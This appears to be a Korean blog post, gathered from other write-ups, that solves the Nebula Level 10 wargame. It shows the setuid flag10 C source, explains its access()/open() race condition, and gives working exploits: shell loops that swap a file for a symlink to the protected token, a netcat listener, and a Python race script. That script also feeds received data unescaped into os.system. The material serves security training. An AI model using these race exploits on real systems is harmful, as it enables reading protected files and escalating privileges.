https://velog.io/@woounnan/PWNABLE-Nebula-Level-10
PWNABLE] Nebula Level 10
실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하
velog.io
https://exploit.education/nebula/level-10/
아직 소스코드가 있었네
flag10.cpp
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
🎪Race Condition Attack
경쟁 조건 공격을 생각해볼 수 있다.
/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 이 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?
token의 내용을 대상 ip에게 전송할 것이다.
🧺Proof
먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.
netcat -l 18211 -k
다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.
while :;
do
rm /tmp/level10/test;
echo 'this is test flag' > /tmp/level10/test;
./flag10 /tmp/level10/test 127.0.0.1;
done
또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.
while :;
do
rm /tmp/level10/test;
ln -s /home/flag10/token /tmp/level10/test;
done
https://einai.tistory.com/entry/Nebula-Level09-Level10
[문제풀이] Nebula, Level09, Level10
※ LEVEL 09 Q. There’s a C setuid wrapper for some vulnerable PHP code… 1234567891011121314151617181920212223242526Colored by Color Scriptercs A. 여기는 /e modifier의 기능으로 발생되는 취약점이다. e(PCRE_REPLACE_EVAL) modifier 이 변
einai.tistory.com
본 워게임은 token 파일의 내용을 얻어야 하는데 보시다시피 읽기 권한이 없는 것을 알 수 있다. 따라서 조금 전에 말한 바와 같이 우리는 두 함수가 실행되는 그 차이를 이용해서 token 파일을 읽어올 것이다.
간단히 순서는
1. fake_token 파일 생성
2. fake_token 파일과 token 파일을 링크할 링크 파일 생성
3. 포트 오픈
4. flag10 실행 파일의 인자로 2번에서 생성한 링크 파일을 제공
https://flack3r.tistory.com/entry/exploit-exercisenebula-level10
[exploit exercise]nebula level10
...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다. import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print
flack3r.tistory.com
import os
import socket
import subprocess
import threading
import time
import signal
def read_until(s,msg):
tmp = ""
while True:
tmp += s.recv(1)
if msg in tmp:
print tmp
return
def GetFlag():
s = socket.socket()
Port = ('localhost',18211)
s.bind(Port)
s.listen(10)
while True:
cs,addr = s.accept()
#print "[*]serer start "
pid = os.fork()
if pid==0:
print "[*]server connection success ! "
print read_until(cs,".oO Oo.")
time.sleep(1)
buf = cs.recv(100)
print "[*]file is "+buf
os.system("echo \""+buf+"\"> result")
exit()
else:
os.waitpid(pid,0)
def Racefile():
while True:
os.system("rm -rf token")
os.system("echo 'aaa' >> token")
os.system("rm -rf token;ln -sf /home/flag10/token token")
def Attack():
while True:
args = "/home/flag10/flag10 token 127.0.0.1"
proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output = proc.communicate()[0]
#print "[*]result: %s" %(output)
os.system("rm -rf token")
def main():
pid = os.fork()
if pid == 0:
Racefile()
pid2 = os.fork()
if pid2 == 0:
GetFlag()
Attack()
if __name__ == '__main__':
main()
'시스템' 카테고리의 다른 글
Qemu 펌웨어 분석 환경 구축 (펌) (진행 중) (0) | 2025.02.04 |
---|---|
Exploit tech : Return to Shellcode (펌) (0) | 2025.02.02 |
메모리 보호기법 Mitigation: NX & ASLR (펌) (0) | 2025.02.02 |
onone_gadget 설치 및 사용법 (펌) (0) | 2025.02.02 |
peda, pwndbg, gef 같이 쓰기 (펌) (0) | 2025.02.02 |